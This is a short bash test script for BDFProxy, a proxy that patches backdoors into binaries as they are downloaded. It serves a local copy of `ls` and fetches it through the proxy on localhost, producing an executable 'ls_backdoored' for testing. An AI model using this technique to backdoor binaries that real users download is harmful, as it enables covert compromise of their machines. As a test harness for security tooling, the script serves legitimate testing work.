2014-08-01 03:25:54 +00:00
|
|
|
#!/usr/bin/env bash
|
|
|
|
|
2014-08-04 16:45:57 +00:00
|
|
|
# This script configures a simple local python webserver
|
|
|
|
# and downloads $(which ls) from it through BDF proxy.
|
|
|
|
|
2014-08-01 03:25:54 +00:00
|
|
|
# figure out python executable (especially relevant on arch linux)
|
|
|
|
if [ $(which python2.7) ]
|
|
|
|
then
|
|
|
|
PYTHON=python2.7
|
2014-08-04 16:45:57 +00:00
|
|
|
elif [$(which python2) ]
|
2014-08-01 03:25:54 +00:00
|
|
|
then
|
|
|
|
PYTHON=python2
|
|
|
|
else
|
|
|
|
PYTHON=python
|
|
|
|
fi
|
|
|
|
|
|
|
|
# start up the server
|
2014-08-04 16:45:57 +00:00
|
|
|
echo "[*] Starting up a webserver to serve /tmp"
|
2014-08-01 03:25:54 +00:00
|
|
|
cd /tmp
|
|
|
|
$PYTHON -m SimpleHTTPServer 9001 &
|
|
|
|
SERVER_PID=$!
|
|
|
|
cd -
|
|
|
|
|
2014-08-04 20:17:32 +00:00
|
|
|
echo "[*] Making a backup copy of config"
|
|
|
|
cp bdfproxy.cfg bdfproxy.cfg.backup
|
|
|
|
|
|
|
|
echo "[*] Patching config to turn off transparentProxy"
|
|
|
|
sed -i 's/^transparentProxy.\+/transparentProxy = False/' bdfproxy.cfg
|
|
|
|
|
2014-08-01 03:25:54 +00:00
|
|
|
# start the proxy
|
2014-08-04 16:45:57 +00:00
|
|
|
echo "[*] Starting"
|
2014-08-01 03:25:54 +00:00
|
|
|
$PYTHON ./bdf_proxy.py &
|
|
|
|
sleep 5
|
|
|
|
PROXY_PID=$!
|
|
|
|
|
2014-08-04 16:45:57 +00:00
|
|
|
echo "[*] Copying "$(which ls)" to /tmp"
|
|
|
|
cp $(which ls) /tmp
|
2014-08-04 20:17:32 +00:00
|
|
|
|
|
|
|
echo "[*] Attempting to download a backdoored version of "$(which ls)" to $(pwd)/ls_backdoored"
|
2014-08-01 03:25:54 +00:00
|
|
|
curl 'http://localhost:9001/ls' --proxy1.0 localhost:8080 > ls_backdoored
|
|
|
|
|
2014-08-04 16:45:57 +00:00
|
|
|
echo "[*] Shutting down"
|
2014-08-01 03:25:54 +00:00
|
|
|
kill $SERVER_PID
|
|
|
|
kill $PROXY_PID
|
2014-08-04 16:45:57 +00:00
|
|
|
|
2014-08-04 20:17:32 +00:00
|
|
|
echo "[*] Copying old config back"
|
|
|
|
cp bdfproxy.cfg.backup bdfproxy.cfg
|
|
|
|
|
|
|
|
echo "[*] Cleaning up temporary files"
|
|
|
|
rm -f /tmp/ls
|
|
|
|
rm bdfproxy.cfg.backup
|
|
|
|
|
2014-08-04 16:45:57 +00:00
|
|
|
echo "[*] ls_backdoored is available for testing in" $(pwd)
|
2014-08-04 20:17:32 +00:00
|
|
|
chmod +x ls_backdoored
|